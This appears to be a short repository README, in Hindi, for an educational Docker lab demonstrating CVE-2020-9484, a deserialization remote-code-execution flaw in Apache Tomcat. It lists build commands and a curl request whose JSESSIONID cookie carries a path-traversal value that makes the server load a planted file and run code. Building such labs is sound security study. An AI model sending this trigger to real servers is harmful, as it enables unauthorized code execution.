masahiro331/cve-2020-9484शैक्षिक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट CVE-2020-9484 (Apache Tomcat RCE via session persistence) के लिए। इसमें डिसीरियलाइज़ेशन कमज़ोरी के परीक्षण के लिए Docker-आधारित लैब शामिल है।
केवल शैक्षिक उद्देश्यों के लिए।
विवरण के लिए संदर्भ देखें।
$ git clone https://github.com/masahiro331/CVE-2020-9484.git
$ cd CVE-2020-9484
$ docker build -t tomcat:groovy .
$ CONTAINER=`docker run -d -p 8080:8080 tomcat:groovy`
$ docker exec -it $CONTAINER ls -la /tmp
ध्यान दें: (rce आउटपुट में नहीं है)
$ curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'
$ docker exec -it $CONTAINER ls -la /tmp
ध्यान दें: (rce आउटपुट में है)